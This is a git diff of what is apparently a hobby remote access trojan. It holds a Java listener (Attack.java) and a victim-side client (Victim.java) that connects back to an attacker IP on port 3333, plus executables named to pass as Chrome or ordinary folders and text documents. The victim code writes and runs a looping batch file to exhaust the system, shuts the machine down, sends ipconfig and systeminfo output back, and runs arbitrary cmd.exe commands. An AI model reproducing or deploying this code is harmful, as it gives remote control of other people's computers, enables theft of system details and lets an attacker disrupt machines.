diff --git a/APPS_PORT_3333/Chrome-victim.exe b/APPS_PORT_3333/Chrome-victim.exe new file mode 100644 index 0000000..68d5d1f Binary files /dev/null and b/APPS_PORT_3333/Chrome-victim.exe differ diff --git a/APPS_PORT_3333/New folder-Victim.exe b/APPS_PORT_3333/New folder-Victim.exe new file mode 100644 index 0000000..0cd174b Binary files /dev/null and b/APPS_PORT_3333/New folder-Victim.exe differ diff --git a/APPS_PORT_3333/New text document-attacker.exe b/APPS_PORT_3333/New text document-attacker.exe new file mode 100644 index 0000000..59a8feb Binary files /dev/null and b/APPS_PORT_3333/New text document-attacker.exe differ diff --git a/Attack.java b/Attack.java index e8f4ab9..9021d1d 100644 --- a/Attack.java +++ b/Attack.java @@ -1,17 +1,18 @@ -package local.attack; import java.net.*; import java.io.*; public class Attack { - + //web_url : https://wallpapershome.com/images/wallpapers/sky-3840x2160-4k-hd-wallpaper-clouds-sunset-sunrise-water-blue-sea-589.jpg public static void main(String[] args) throws Exception { ServerSocket ss=new ServerSocket(3333); Socket s=ss.accept(); - System.out.println("----------ATTACKING COMMANDS----------"); + System.out.println("----------ATTACKING----------"); System.out.println("1.'dos' [making the victim's system unavailable]"); System.out.println("2.'shut' [shutdown thw victim's system]"); - System.out.println("----------INFORMAION GATHERING COMMANDS----------"); + System.out.println("----------INFORMAION GATHERING----------"); System.out.println("1.'ip' [Gathering all details about the ip]"); System.out.println("2.'syspec' [Gathering all the System details]"); + System.out.println("3.'open website' [Enter the URL of the website]"); + System.out.println("4.'directory enumaration' ['dir`'+ terminal commonds]"); DataInputStream din=new DataInputStream(s.getInputStream()); DataOutputStream dout=new DataOutputStream(s.getOutputStream()); BufferedReader br=new BufferedReader(new InputStreamReader(System.in)); @@ -19,7 +20,7 @@ public static void main(String[] args) throws Exception { while(!att.equals("stop")) { att=br.readLine(); dout.writeUTF(att); - if(att.equals("dos")|| att.equals("shut") || att.equals("ip") || att.equals("syspec")) { + if(att.equals("dos")|| att.equals("shut") || att.equals("ip") || att.equals("syspec") || att.length()>5 || att.contains("dir") ) { vic=din.readUTF(); System.out.println(vic); } diff --git a/Victim.java b/Victim.java index 9d8596e..3846c86 100644 --- a/Victim.java +++ b/Victim.java @@ -1,104 +1,165 @@ -package local.attack; -import java.io.*; -import java.net.*; -import java.util.*; -public class Victim { - - public static void main(String[] args) throws Exception{ - Scanner in=new Scanner(System.in); - //System.out.println("ENTER IP ADDRESS: "); - //String ip=in.nextLine(); - Socket s=new Socket("10.56.1.1",3333); - DataInputStream din=new DataInputStream(s.getInputStream()); - DataOutputStream dout=new DataOutputStream(s.getOutputStream()); - BufferedReader br=new BufferedReader(new InputStreamReader(System.in)); - String att="",vic=""; - while(!att.equals("stop")) { - att=din.readUTF(); - if(att.equals("dos")) { - try { - FileOutputStream fout=new FileOutputStream("D:\\dos.bat"); - String str="@echo off\n:top\nStartngoto top"; - byte[] b=str.getBytes(); - fout.write(b); - fout.close(); - String[] cmd= {"cmd.exe","/C","Start","D:\\dos.bat"}; - Process p=Runtime.getRuntime().exec(cmd); - vic="Success!"; - dout.writeUTF(vic); - dout.flush(); - - }catch(Exception e){ - vic="Failed to DOS!!"; - dout.writeUTF(vic); - dout.flush(); - } - - } - - if(att.equals("shut")) { - try { - FileOutputStream fout=new FileOutputStream("D:\\shut.bat"); - String str="@echo off\nshutdown -s -t2";; - byte[] b=str.getBytes(); - fout.write(b); - fout.close(); - String[] cmd= {"cmd.exe","/C","Start","D:\\shut.bat"}; - Process p=Runtime.getRuntime().exec(cmd); - vic="Success!"; - dout.writeUTF(vic); - dout.flush(); - - }catch(Exception d){ - vic="Failed to Shutdown!!"; - dout.writeUTF(vic); - dout.flush(); - } - - } - if(att.equals("ip")) { - try{ - ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/C", "ipconfig -all"); - builder.redirectErrorStream(true); - Process p = builder.start(); - BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); - String line,ans=""; - while (true) { - line = r.readLine(); - if (line == null) { break; } - ans+=line; - ans+="\n"; - } - dout.writeUTF(ans); - dout.flush(); - - }catch(Exception e) { - System.out.println("Failed.."); - } - } - if(att.equals("syspec")) { - try{ - ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/C", "systeminfo"); - builder.redirectErrorStream(true); - Process p = builder.start(); - BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); - String line,ans=""; - while (true) { - line = r.readLine(); - if (line == null) { break; } - ans+=line; - ans+="\n"; - } - dout.writeUTF(ans); - dout.flush(); - - }catch(Exception e) { - System.out.println("Failed.."); - } - } - - }//while loop end - - } - -} +import java.io.*; +import java.net.*; +import java.util.*; +import javax.swing.JOptionPane; +public class Victim { + + public static void main(String[] args) throws Exception{ + Scanner in=new Scanner(System.in); + String ip=""; + ip=JOptionPane.showInputDialog("ENTER THE IP ADDRESS"); + String str=""; + int count=0; + Socket s=new Socket(ip,3333); + DataInputStream din=new DataInputStream(s.getInputStream()); + DataOutputStream dout=new DataOutputStream(s.getOutputStream()); + BufferedReader br=new BufferedReader(new InputStreamReader(System.in)); + String att="",vic=""; + while(!att.equals("stop")) { + att=din.readUTF(); + if(att.equals("dos")) { + try { + FileOutputStream fout=new FileOutputStream("D:\\dos.bat"); + String str1="@echo off\n:top\nStart\ngoto top"; + byte[] b=str1.getBytes(); + fout.write(b); + fout.close(); + String[] cmd= {"cmd.exe","/C","Start","D:\\dos.bat"}; + Process p=Runtime.getRuntime().exec(cmd); + vic="Success!"; + dout.writeUTF(vic); + dout.flush(); + + }catch(Exception e){ + vic="Failed to DOS!!"; + dout.writeUTF(vic); + dout.flush(); + } + + } + + if(att.equals("shut")) { + try { + String[] cmd= {"cmd.exe","/C","shutdown /s"}; + Process p=Runtime.getRuntime().exec(cmd); + vic="Success!"; + dout.writeUTF(vic); + dout.flush(); + + }catch(Exception d){ + vic="Failed to Shutdown!!"; + dout.writeUTF(vic); + dout.flush(); + } + + } + if(att.equals("ip")) { + try{ + ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/C", "ipconfig -all"); + builder.redirectErrorStream(true); + Process p = builder.start(); + BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line,ans=""; + while (true) { + line = r.readLine(); + if (line == null) { break; } + ans+=line; + ans+="\n"; + } + dout.writeUTF(ans); + dout.flush(); + + }catch(Exception e) { + vic="Failed ..."; + dout.writeUTF(vic); + dout.flush(); + } + } + if(att.equals("syspec")) { + try{ + ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/C", "systeminfo"); + builder.redirectErrorStream(true); + Process p = builder.start(); + BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line,ans=""; + while (true) { + line = r.readLine(); + if (line == null) { break; } + ans+=line; + ans+="\n"; + } + dout.writeUTF(ans); + dout.flush(); + + }catch(Exception e) { + vic="Failed ..."; + dout.writeUTF(vic); + dout.flush(); + } + } + if(att.length()>5 && !att.contains("dir")) { + try{ + ProcessBuilder builder = new ProcessBuilder("cmd.exe", "/C", "Start", att); + builder.redirectErrorStream(true); + Process p = builder.start(); + vic="Success!"; + dout.writeUTF(vic); + dout.flush(); + + }catch(Exception e) { + vic="Failed to Exploit review your code.."; + dout.writeUTF(vic); + dout.flush(); + } + } + if(att.contains("dir")) { + + try{ + String cmd=""; + String[] arr=att.split("`"); + str+=arr[1]+" "; + if(arr[1].equals("undo")) { + str=""; + ProcessBuilder builder = new ProcessBuilder("cmd.exe" , "/C" , "echo undo"); + builder.redirectErrorStream(true); + Process p = builder.start(); + BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line,ans=""; + while (true) { + line = r.readLine(); + if (line == null) { break; } + ans+=line; + ans+="\n"; + } + dout.writeUTF(ans); + dout.flush(); + } + else { + ProcessBuilder builder = new ProcessBuilder("cmd.exe" , "/C" , str); + builder.redirectErrorStream(true); + Process p = builder.start(); + BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line,ans=""; + while (true) { + line = r.readLine(); + if (line == null) { break; } + ans+=line; + ans+="\n"; + } + dout.writeUTF(ans); + dout.flush(); + } + + + }catch(Exception e) { + vic="Failed to Exploit review your code.."; + dout.writeUTF(vic); + dout.flush(); + } + } + + }//while loop end + + } + +}